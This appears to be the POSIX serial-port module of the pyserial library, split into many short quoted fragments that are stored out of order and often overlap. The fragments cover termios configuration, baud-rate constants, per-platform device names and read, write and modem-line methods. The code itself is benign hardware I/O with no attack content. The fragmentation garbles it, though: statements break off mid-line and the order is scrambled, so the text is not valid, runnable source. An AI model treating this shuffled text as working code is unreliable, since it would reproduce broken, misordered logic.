"flush(self): \"\"\"Flush of file like objects. In this case, wait", "time.time() if timeleft < 0: raise writeTimeoutError _, ready, _", "an explicit path (eg /dev/ttyS1) or send this information to", "be used.\") # open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except", "status line: Ring Indicator\"\"\" if self.fd is None: raise portNotOpenError", "'hp': # HP-UX (not tested) def device(port): return '/dev/tty%dp0' %", "None if self._port is None: raise SerialException(\"Port must be configured", "abort when there # is nothing to read. if not", "%s' % (v,)) return len(data) def flush(self): \"\"\"Flush of file", "rate on this platform\") baudrate_constants = {} elif plat[:6] ==", "== 'sunos': # Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' %", "&= ~TERMIOS.CSIZE if self._bytesize == 8: cflag |= TERMIOS.CS8 elif", "io.RawIOBase): pass class PosixPollSerial(Serial): \"\"\"poll based read implementation. not all", "TERMIOS.CS8 elif self._bytesize == 7: cflag |= TERMIOS.CS7 elif self._bytesize", "ValueError('Failed to set custom baud rate: %r' % baudrate) baudrate_constants", "os.uname()[2].split('.') # Tiger or above can support arbitrary serial speeds", "~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning if setting", "is in the buffer.\"\"\" if self.fd is None: raise portNotOpenError", "platform\") baudrate_constants = {} elif plat[:6] == 'darwin': # OS", "None vmin = vtime = 0 # timeout is done", "luck you can get this module running... \"\"\" % (sys.platform,", "data): \"\"\"Output the given string over the serial port.\"\"\" if", "if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self,", "if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self,", "(TERMIOS.CSTOPB) # XXX same as TWO.. there is no POSIX", "&= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif", "(self._baudrate)) except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except", "is not None and self._writeTimeout > 0: timeout = time.time()", "buffer, discarding all that is in the buffer.\"\"\" if self.fd", "0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000:", "(device disconnected?)') read.extend(buf) return bytes(read) def write(self, data): \"\"\"Output the", "all systems support poll properly. however this one has better", "- - - - - def inWaiting(self): \"\"\"Return the number", "this platform\") baudrate_constants = {} elif plat == 'openbsd3': #", "SerialException('device reports readiness to read but returned no data (device", "self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE:", "in the input buffer.\"\"\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str)", "% (port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how", "(and xonxoff etc) fails?? # buffer # vmin \"minimal number", "- not portable!\"\"\" if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd,", "= hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS,", "50: 0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005,", "|= TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5 else:", "bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0:", "hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD')", "if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def", "\"\"\"Return the number of characters currently in the input buffer.\"\"\"", "timeout=3, # set a timeout value, None for waiting forever", "= os.write(self.fd, d) if timeout: # when timeout is set,", "how to handle non standard baud rate on this platform\")", "TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or", "the serial port.\"\"\" if self.fd is None: raise portNotOpenError t", "0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat", "lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'):", "it isn't in our list. ispeed = ospeed = getattr(TERMIOS,", "baud rate on this platform\") baudrate_constants = {} elif plat[:2]", "line: Data Terminal Ready\"\"\" if self.fd is None: raise portNotOpenError", "nothing. raise SerialException('device reports readiness to read but returned no", "port class POSIX implementation. Serial port configuration is done with", "Ring Indicator\"\"\" if self.fd is None: raise portNotOpenError s =", "0: while len(read) < size: # print \"\\tread(): size\",size, \"have\",", "'__main__': s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, #", "cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD)", "rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else:", "os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None raise", "in the buffer.\"\"\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd,", "is select.POLLIN or timeout, that's # handled below buf =", "if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS,", "0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600:", "baud rate on this platform\") baudrate_constants = {} elif plat[:6]", "portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR", "is None: raise portNotOpenError read = bytearray() poll = select.poll()", "not correct for the platform it has chances # to", "{} elif plat[:6] == 'darwin': # OS X version =", "linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415", "TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str =", "raise else: self._isOpen = True #~ self.flushInput() def _reconfigurePort(self): \"\"\"Set", "hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC')", "number of characters currently in the input buffer.\"\"\" #~ s", "+ self._writeTimeout else: timeout = None while t > 0:", "cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5", "XXX same as TWO.. there is no POSIX support for", "def setDTR(self, level=1): \"\"\"Set terminal status line: Data Terminal Ready\"\"\"", "raise SerialException(\"sorry don't know how to handle non standard baud", "hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR')", "OSError as v: if v.errno != errno.EAGAIN: raise SerialException('write failed:", "0 def getRI(self): \"\"\"Read terminal status line: Ring Indicator\"\"\" if", "# for file-like behavior. for Python 2.6 and newer, that", "and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST", "SerialException('device reports error (poll)') # we don't care if it", "some constants have moved. if (sys.hexversion < 0x020100f0): import TERMIOS", "timeout occurs, it # returns with empty lists -> thus", "s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS !=", "raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC,", "This may throw a SerialException if the port cannot be", "TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or", "version = %s also add the device name of the", "raise ValueError('Invalid stop bit specification: %r' % self._stopbits) # setup", "flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct", "== '__main__': s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS,", "a timeout, and the timeout occurs, it # returns with", "%r os.name = %r serialposix.py version = %s also add", "baudrate_constants = {} elif plat[:3] == 'aix': # AIX def", "1) else: # version < 8 def set_special_baudrate(port, baudrate): raise", "s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str)", "portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str)", "If a timeout is set it may return less characters", "terminal status line: Request To Send\"\"\" if self.fd is None:", "# # Python Serial Port Extension for Win32, Linux, BSD,", "# no exception, just continue with a brave attempt to", "cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char len: %r' %", "buffer.\"\"\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def", "0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR", "In this case, wait until all data is written.\"\"\" self.drainOutput()", "&= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag", "and with a bit luck you can get this module", "file descriptor\") custom_baud = None vmin = vtime = 0", "rate on this platform\") baudrate_constants = {} elif plat[:2] ==", "0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000:", "to be read. = for non blocking\" if vmin <", "handled below buf = os.read(self.fd, size - len(read)) read.extend(buf) if", "elif plat[:6] == 'darwin': # OS X version = os.uname()[2].split('.')", "255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime", "\"\"\"poll based read implementation. not all systems support poll properly.", "'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d' % port", "= 0 # timeout is done via select if self._interCharTimeout", "raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC,", "code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html", "~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &=", "system. ! Use an explicit path (eg /dev/ttyS1) or send", "of stop bits timeout=3, # set a timeout value, None", "0 def getCD(self): \"\"\"Read terminal status line: Carrier Detect\"\"\" if", "fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \"\"\"Set terminal status line:", "abort on timeout return bytes(read) if __name__ == '__main__': s", "fcntl. Runs on Linux and many other Un*x like systems.\"\"\"", "% (port+1) #XXX different device names depending on flow control", "FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \"\"\"For easier use of the serial", "standard baud rate on this platform\") baudrate_constants = {} elif", "\"\"\"Serial port class POSIX implementation. Serial port configuration is done", "starts for the first serial port. e.g. 'first serial port:", "that happened when setting up pass self.fd = None raise", "None: set_special_baudrate(self, custom_baud) def close(self): \"\"\"Close port\"\"\" if self._isOpen: if", "_, ready, _ = select.select([], [self.fd], [], timeleft) if not", "ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate) else: if", "= struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I',", "to read (or something fails) for fd, event in poll.poll(self._timeout*1000):", "a timeout value, None for waiting forever xonxoff=0, # enable", "we don't care if it is select.POLLIN or timeout, that's", "/dev/ttyS0' and with a bit luck you can get this", "is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else:", "When active, no transmitting is possible.\"\"\" if self.fd is None:", "0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800:", "this platform\") baudrate_constants = {} elif plat[:6] == 'darwin': #", "select.select([self.fd],[],[], self._timeout) # If select was used with a timeout,", "{} elif plat == 'openbsd3': # BSD (confirmed) def device(port):", "else: self._isOpen = True #~ self.flushInput() def _reconfigurePort(self): \"\"\"Set communication", "{} elif plat[:6] == 'netbsd': # NetBSD 1.6 testing by", "TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG =", "elif plat[:2] == 'hp': # HP-UX (not tested) def device(port):", "\"\"\"Open port with current settings. This may throw a SerialException", "as TWO.. there is no POSIX support for 1.5 elif", "\"\"\"Clear input buffer, discarding all that is in the buffer.\"\"\"", "0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR", "disconnecting while it's in use (e.g. USB-serial unplugged)\"\"\" def read(self,", "fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def", "0x0030 def set_special_baudrate(port, baudrate): import array buf = array.array('i', [0]", "== 'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def device(port):", "always ready to read immediately # but reading returns nothing.", "d = data if self._writeTimeout is not None and self._writeTimeout", "ignore any exception when closing the port # also to", "being ready # with the time left as timeout timeleft", "if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else:", "getDSR(self): \"\"\"Read terminal status line: Data Set Ready\"\"\" if self.fd", "that a device can be selected... # this code block", "# set a timeout value, None for waiting forever xonxoff=0,", "is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \"\"\"For", "(TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' % self._parity) # setup", "set_special_baudrate(port, baudrate): # use IOKit-specific call to set up high", "or vtime > 255: raise ValueError('Invalid vtime: %r' % vtime)", "except: # ignore any exception when closing the port #", "Linux # see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>>", "iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if", "char len: %r' % self._bytesize) # setup stopbits if self._stopbits", "parts based on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py #", "sendBreak(self, duration=0.25): \"\"\"Send break condition. Timed, returns to idle state", "hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate constant name if", "# try it with alternate constant name if self._rtscts: cflag", "STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |=", "and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR", "if self._writeTimeout is not None and self._writeTimeout > 0: timeout", "is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else:", "select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read) < size: #", "struct.unpack('I',s)[0] & TIOCM_CD != 0 # - - platform specific", "self.fd = None self._isOpen = False def makeDeviceName(self, port): return", "termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \"\"\"Send break condition. Timed, returns", "if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits ==", "def set_special_baudrate(port, baudrate): import array buf = array.array('i', [0] *", "'/dev/ttyf%d' % (port+1) #XXX different device names depending on flow", "# setup baud rate try: ispeed = ospeed = getattr(TERMIOS,", "= %r os.name = %r serialposix.py version = %s also", "time from .serialutil import * # Do check the Python", "# if a port is nonexistent but has a /dev", "from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import", "raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \"\"\"Send break condition.", "only operate on a valid file descriptor\") custom_baud = None", "port baudrate_constants = {} elif plat[:6] == 'netbsd': # NetBSD", "aborting the current output and discarding all that is in", "TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self):", "data if self._writeTimeout is not None and self._writeTimeout > 0:", "flushInput(self): \"\"\"Clear input buffer, discarding all that is in the", "if custom_baud < 0: raise ValueError('Invalid baud rate: %r' %", "d[n:] t = t - n except OSError as v:", "char len cflag &= ~TERMIOS.CSIZE if self._bytesize == 8: cflag", "parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &=", "= None if self._port is None: raise SerialException(\"Port must be", "SerialException(\"could not open port %s: %s\" % (self._port, msg)) #~", "the current output and discarding all that is in the", "0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str", "later except ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate)", "0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG", "or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417", "if the port cannot be opened.\"\"\" self.fd = None if", "cflag |= TERMIOS.CS8 elif self._bytesize == 7: cflag |= TERMIOS.CS7", "buf) # set custom divisor buf[6] = buf[7] / baudrate", "our own file-like emulation class Serial(PosixSerial, FileLike): pass else: #", "requested. With no timeout it will block until the requested", "if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') #", "% (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how", "elif plat[:4] == 'irix': # IRIX (partially tested) def device(port):", "TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI =", "def setBreak(self, level=1): \"\"\"Set break: Controls TXD. When active, no", "and discarding all that is in the buffer.\"\"\" if self.fd", "number ttys on this system. ! Use an explicit path", "to different platforms!\"\"\" if self.fd is None: raise portNotOpenError return", "read but returned no data (device disconnected?)') read.extend(buf) return bytes(read)", "= array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL,", "Timed, returns to idle state after given duration.\"\"\" if self.fd", "baudrate_constants = { 0: 0000000, # hang up 50: 0o000001,", "self._isOpen: if self.fd is not None: os.close(self.fd) self.fd = None", "hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR')", "operate on a valid file descriptor\") custom_baud = None vmin", "# setup char len cflag &= ~TERMIOS.CSIZE if self._bytesize ==", "can support arbitrary serial speeds if int(version[0]) >= 8: def", "msg) # set up raw mode / no echo /", "however this one has better handling of errors, such as", "don't know how to number ttys on this system. !", "len(data) d = data if self._writeTimeout is not None and", "Python 2.6 and newer, that provide the new I/O #", "Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of data", "platform it has chances # to work using a string", "self._baudrate) # setup char len cflag &= ~TERMIOS.CSIZE if self._bytesize", "testing by Erk def device(port): return '/dev/dty%02d' % port def", "as msg: self.fd = None raise SerialException(\"could not open port", "on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references:", "should supply a device() and set_special_baudrate() function # for the", "else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it", "(port + 1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know", "idle state after given duration.\"\"\" if self.fd is None: raise", "# with the time left as timeout timeleft = timeout", "elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate constant name", "115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006,", "STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification:", "- platform specific - - - - def drainOutput(self): \"\"\"internal", "Indicator\"\"\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd,", "# setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if", "else: # io library present class Serial(PosixSerial, io.RawIOBase): pass class", "# number of stop bits timeout=3, # set a timeout", "nonexistent but has a /dev file, it'll fail here raise", "speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version < 8", "size=1): \"\"\"Read size bytes from the serial port. If a", "Exception, \"this module does not run on this platform, sorry.\"", "FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort() except: try: os.close(self.fd)", "plat[:5] == 'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d'", "Ready\"\"\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd,", "raise ValueError('Invalid baud rate: %r' % self._baudrate) # may need", "\"\"\"Set communication parameters on opened port.\"\"\" if self.fd is None:", "serial speeds if int(version[0]) >= 8: def set_special_baudrate(port, baudrate): #", "\\ plat[:7] == 'freebsd' or \\ plat[:7] == 'openbsd': #", "io library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \"\"\"poll", "with empty lists -> thus abort read operation. # For", "TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \"\"\"Read terminal", "is None: raise portNotOpenError read = bytearray() while len(read) <", "use. # try to use values from TERMIOS, use defaults", "|= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff:", "ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN] = vmin #", "sorry.\" # whats up with \"aix\", \"beos\", .... # they", "if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \"\"\"internal", "if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) #", "# assemble Serial class with the platform specifc implementation and", "ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud rate:", "up rtscts (and xonxoff etc) fails?? # buffer # vmin", "elif self._bytesize == 7: cflag |= TERMIOS.CS7 elif self._bytesize ==", "# handled below buf = os.read(self.fd, size - len(read)) read.extend(buf)", "apply custom baud rate, if any if custom_baud is not", "serial port: /dev/ttyS0' and with a bit luck you can", "ValueError('Invalid parity: %r' % self._parity) # setup flow control #", "plat = sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed)", "> 0: try: n = os.write(self.fd, d) if timeout: #", "point. if not buf: # Disconnected devices, at least on", "implementation. not all systems support poll properly. however this one", "for serial IO for POSIX compatible systems, like Linux #", "except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError:", "poll properly. however this one has better handling of errors,", "ValueError('Invalid baud rate: %r' % self._baudrate) # may need custom", "if self.fd is None: raise portNotOpenError read = bytearray() poll", "TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation, proved to work", "thus abort read operation. # For timeout == 0 (non-blocking", "in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error", "poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read) < size:", "the platform it has chances # to work using a", "port # also to keep original exception that happened when", "self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts", "to read but returned no data (device disconnected?)') read.extend(buf) return", "def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise", "terminal status line: Clear To Send\"\"\" if self.fd is None:", "PosixSerial(SerialBase): \"\"\"Serial port class POSIX implementation. Serial port configuration is", "- - - - - - - - def inWaiting(self):", "of errors, such as a device disconnecting while it's in", "serial port.\"\"\" if self.fd is None: raise portNotOpenError t =", "line: Carrier Detect\"\"\" if self.fd is None: raise portNotOpenError s", "# cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port +", "# (C) 2001-2010 <NAME> <<EMAIL>> # this is distributed under", "'/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise SerialException(\"sorry don't know", "&= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag", "X version = os.uname()[2].split('.') # Tiger or above can support", "parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number of stop", "detect the OS so that a device can be selected...", "when we get to this point. if not buf: #", "plat[:7] == 'freebsd' or \\ plat[:7] == 'openbsd': # BSD", "0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000:", "file-like behavior. for Python 2.6 and newer, that provide the", "hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS')", "software license, see license.txt # # parts based on code", "hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI')", "line: Ring Indicator\"\"\" if self.fd is None: raise portNotOpenError s", "bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number of", "and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC", "# # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct,", "FCNTL = fcntl # try to detect the OS so", "int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag, ispeed, ospeed,", "(TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r' % self._stopbits)", "control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |=", "# set blocking try: self._reconfigurePort() except: try: os.close(self.fd) except: #", "2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif", "# see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> #", "IOKit-specific call to set up high speeds import array, fcntl", "= %r serialposix.py version = %s also add the device", "level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \"\"\"Set", "'/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know", "t - n except OSError as v: if v.errno !=", "#debug # wait until device becomes ready to read (or", "is read.\"\"\" if self.fd is None: raise portNotOpenError read =", "# module for serial IO for POSIX compatible systems, like", "they should work, just need to know the device names.", "set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError:", "import io except ImportError: # classic version with our own", "< 0x020100f0): import TERMIOS else: TERMIOS = termios if (sys.hexversion", "or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020", "discarding all that is in the buffer.\"\"\" if self.fd is", "for Win32, Linux, BSD, Jython # module for serial IO", "there is no POSIX support for 1.5 elif self._stopbits ==", "self.fd is None: raise portNotOpenError read = bytearray() while len(read)", "return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): \"\"\"Read terminal", "raise SerialException('device reports error (poll)') # we don't care if", "ValueError('Invalid baud rate: %r' % self._baudrate) # setup char len", "if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif", "for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag", "32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom", "makeDeviceName(self, port): return device(port) # - - - - -", "self._writeTimeout else: timeout = None while t > 0: try:", "up high speeds import array, fcntl buf = array.array('i', [baudrate])", "baudrate): raise ValueError(\"sorry don't know how to handle non standard", "\"\"\"For easier use of the serial port instance with select.", "raise ValueError(\"baud rate not supported\") def device(port): return '/dev/cuad%d' %", "def setRTS(self, level=1): \"\"\"Set terminal status line: Request To Send\"\"\"", "return bytes(read) if __name__ == '__main__': s = Serial(0, baudrate=19200,", "/dev/ttyS1) or send this information to ! the author of", "is not None: vmin = 1 vtime = int(self._interCharTimeout *", "is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \"\"\"Set", "= getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store for", "termios and fcntl. Runs on Linux and many other Un*x", "a SerialException if the port cannot be opened.\"\"\" self.fd =", "is no POSIX support for 1.5 elif self._stopbits == STOPBITS_TWO:", "timeout buf = os.read(self.fd, size-len(read)) # read should always return", "platform\") baudrate_constants = {} elif plat[:4] == 'irix': # IRIX", "hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET')", "moved. if (sys.hexversion < 